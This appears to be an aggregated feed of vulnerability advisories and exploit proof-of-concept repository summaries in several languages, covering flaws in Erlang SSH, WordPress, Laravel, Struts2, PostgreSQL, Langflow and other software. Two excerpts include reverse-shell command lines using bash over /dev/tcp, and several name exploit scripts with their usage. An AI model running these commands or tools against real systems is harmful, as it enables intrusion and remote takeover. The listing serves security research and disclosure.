CVE-2026-55582

mcp-shell is an MCP server for running shell commands securely. Prior to 0.6.0 , the default security.yaml allows /usr/bin/git, while security.go omits the ! character from its shell-metacharacter and dangerous-construct checks and applies no per-executable argument policy. A caller of the shell_...

Important: Red Hat Security Advisory: sg3_utils security, bug fix, and enhancement update

An update for sg3utils is now available for Red Hat Enterprise Linux 9.6 Extended Update Support. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available fo...

sg3_utils: sg3_utils: arbitrary command execution via udev property injection in sg_inq --export

A flaw was found in sg3utils. The sginq command, when invoked with the --export option, outputs device identification data without sanitizing control characters in SCSI name string fields. A newline character embedded in a device-supplied name string can inject arbitrary properties into the udev...

PraisonAI: [Path Traversal] agent tools escape the configured workspace via symlinks

Summary PraisonAI's praisonai.code tool wrappers exported as CODETOOLS for agents expose a workspace setting that the module itself treats as a path-traversal security boundary — readfile, writefile, applydiff, and searchreplace explicitly call ispathwithindirectory and return "… is outside the...

CVE-2025-32433

CVE-2025-32433 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 --reverse 192.168.100.98 4444 python ErlangSSHRCE.py -t 192.168.100.123 -p 2222 -c "bash -c 'bash -i & /dev/tcp/192.168.100.98/4444 0&1'"...

wp2shell-poc

wp2shell PoC Il primo PoC in assoluto della SQL injection basata su timing in pre-autenticazione per la catena di confusione batch-route dell'API REST di WordPress CVE-2026-63030 + CVE-2026-60137 Ottiene l'esecuzione di comandi, senza limitarsi a tentare di forzare la password dell'amministratore...

CVE-2026-79657 NLTK before 3.10.3 Remote Code Execution via Unsafe Pickle Deserialization

NLTK versions before 3.10.3 contain a remote code execution vulnerability in allowlisted pickle loaders that trust entire module namespaces instead of specific safe callables. Attackers can craft malicious pickle payloads invoking dangerous in-namespace functions like ReppTokenizer.execute and...

CVE-2021-44967

CVE-2021-44967 - RCE Autenticado privilegiado Execução remota de comandos autenticada privilegiada no LimeSurvey Versão 5.2.4 através do upload e instalação de plugins permite que um usuário remoto faça upload de arquivo de código PHP arbitrário. Uso python3 exploit.py --url --user --password...

CVE-2019-14811-in-pdf-exploit

CVE-2019-14811 Exploit PoC per anteprima PDF GhostScript Questo exploit colpisce CVE-2019-14811 in ambienti GS in cui l'output PostScript non viene mostrato, ma viene eseguito, come nelle anteprime PDF tramite immagini png. L'exploit esegue i comandi direttamente nell'anteprima pngXXm e si basa s...

CVE-2024-4577

CVE-2024-4577: Vulnerabilità critica nelle configurazioni CGI di PHP Esiste una grave falla di sicurezza nella modalità CGI di PHP che consente agli aggressori di eseguire comandi arbitrari manipolando i parametri dell'URL. Versioni interessate Versioni di PHP precedenti alla 7.4.29 e alla 8.0.19...

CVE-2021-3129---Laravel-RCE

CVE-2021-3129---Laravel-RCE Informazioni Lo script è stato creato per sfruttare la vulnerabilità Laravel RCE CVE-2021-3129. Questo script consente di scrivere/eseguire comandi su un sito web che esegue Laravel = v8.4.2, con "APPDEBUG" impostato su "true" nel file ".env"...

Struts2Shell

Struts2Shell Un exploit e libreria per CVE-2017-5638 - il bug Apache Struts2 S2-045. Installazione root@kitploit: $ npm install -g struts2shell Installazione come libreria root@kitploit: $ npm install struts2shell Opzioni della riga di comando root@kitploit: -h, --help mostra le informazioni...

CVE-2019-9193

EN GenPostgresRCEExploit è uno strumento PoC progettato per sfruttare una vulnerabilità autenticata di esecuzione remota del codice RCE in alcune versioni di PostgreSQL 9.3 - 11.7. Consente agli utenti autenticati di eseguire comandi di sistema su un server di database PostgreSQL vulnerabile a...

CVE-2024-24590

ClearML Exploit Dieses Repository enthält einen Proof-of-Concept-Exploit für eine Deserialisierungsschwachstelle in ClearML, die eine Remote-Befehlsausführung ermöglicht. Dieser Exploit demonstriert, wie ein bösartiges Pickle-Artefakt in ClearML hochgeladen werden kann, um eine Reverse Shell zu...

Langflow-CVE-2025-3248-Multi-target

⚠️ Scanner de Exploit RCE Langflow CVE-2025-3248 Este scanner baseado em Python automatiza a detecção de vulnerabilidades de Execução Remota de Código RCE não autenticada em instâncias Langflow via CVE-2025-3248. Ele usa um payload de prova de conceito que abusa do endpoint /api/v1/validate/code...

CVE-2009-4623

Advanced Comment System 1.0 - Execução Remota de Comandos RCE https://nvd.nist.gov/vuln/detail/CVE-2009-4623 Exemplos root@kitploit: python3 exploit.py http://127.0.0.1 uname -a root@kitploit: python3 exploit.py http://127.0.0.1 'bash -i & /dev/tcp/127.0.0.1/443 0&1'...

CVE-2024-42448-RCE

CVE-2024-42448-RCE Veeam Service Provider Console VSPC esecuzione di codice remoto. Link di download qui Dettagli: è una vulnerabilità critica identificata nel Veeam Service Provider Console VSPC con un punteggio CVSS di 9.9. Questa vulnerabilità consente l'esecuzione di codice remoto RCE...

CVE-2021-43326_Exploit

CVE-2021-43326 Exploit Exploit zur Privilegieneskalation des Automox Windows-Agents Lacework Labs Blog Post https://www.lacework.com/blog/cve-2021-43326/ Automox Community Post...

CVE-2026-57517-CWP

CVE-2026-57517 CWP Exploit Questo repository contiene uno strumento proof-of-concept basato su Go per testare uno scenario di vulnerabilità noto di Control Web Panel CWP correlato a CVE-2026-57517. L'implementazione prende di mira un percorso di SQL injection cieca e include la distribuzione...

CVE-2025-32433_Erlang-OTP_PoC

CVE-2025-32433Erlang-OTP Questo script è uno strumento di sicurezza personalizzato progettato per testare una vulnerabilità critica pre-autenticazione in sistemi che eseguono server SSH basati su Erlang Questo script è uno strumento di sicurezza personalizzato progettato per testare una...